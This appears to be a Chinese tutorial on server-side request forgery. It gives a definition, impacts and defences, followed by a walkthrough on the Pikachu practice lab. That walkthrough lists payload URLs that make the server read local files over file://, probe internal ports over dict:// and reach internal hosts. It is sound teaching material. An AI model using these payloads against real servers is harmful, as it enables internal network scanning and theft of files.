漏洞原理SSRF漏洞 服务器请求伪造

漏洞原理SSRF漏洞_php

SSRF(Server Side Request Forgery)是一种服务器端请求伪造漏洞。它允许攻击者利用后端服务器来发送未经授权的请求。攻击者可以通过修改请求的目标地址,将请求发送到内部网络或其他受信任的服务器上,从而绕过防火墙和访问控制。

SSRF漏洞的危害性很高,可能导致以下问题:

1. 内网扫描:攻击者可以利用SSRF漏洞扫描目标服务器所在的内部网络,并发现其他潜在的漏洞。

2. 攻击内部服务:攻击者可以利用SSRF漏洞访问和攻击内部的敏感服务,如数据库、文件系统、配置文件等。

3. 绕过安全控制:攻击者可以利用SSRF漏洞绕过防火墙或其他访问控制措施,直接访问内部网络。

为了防止SSRF漏洞的攻击,可以采取以下一些措施:

1. 验证用户输入:对于用户输入的URL参数,应该进行验证和过滤,只允许合法的URL进行请求。

2. 白名单控制:限制服务器仅能请求特定的URL,或者限制服务器只能访问内网的合法IP和域名。

3. 利用安全沙盒:将服务器进行隔离,限制其访问能力,避免攻击者通过SSRF漏洞访问敏感服务。

4.禁用危险协议和IP:禁用危险的协议和IP,如file、gopher、localhost等。

总之,对于应用程序开发人员来说,应该意识到SSRF漏洞的危害性,并采取相应的措施来防止和修复这种漏洞。

漏洞原理SSRF漏洞_php_02

漏洞原理SSRF漏洞_服务器_03

1.在后端php代码中使用curl_exec函数

1> 可以访问pikechu提供的url,并返回文章的内容,注意url:

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php**

2> 修改为百度/京东/淘宝这样的第三方服务器地址

漏洞原理SSRF漏洞_内网_04

漏洞原理SSRF漏洞_安全_05

漏洞原理SSRF漏洞_安全_06

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=http://www.baidu.com**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=https://www.jd.com**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=https://www.taobao.com**

3> 如果在后端php代码中,没有对url参数进行限制,我们可以访问内网服务器。假设内网服务器地址是:192.168.10.143。我们以pikachu这个服务器为跳板机去访问内网服务器。

http://192.168.56.1/

http://192.168.56.1

**http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.10.143**

curl支持的协议非常多,产生的漏洞的危害很大。

4> 读文件file:///, 端口服务信息探测 dict://

漏洞原理SSRF漏洞_服务器_07

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=file:///c:/windows/win.ini**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:22**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:21**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:3306**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=file:///c:/windows/win.ini**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:22**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:21**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:3306**

5> .在后端php代码中使用file_get_content函数

读取文件内容:

http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=**c:/windows/win.ini**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=**http://192.168.10.143**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=**http://127.0.0.1/phpinfo.php**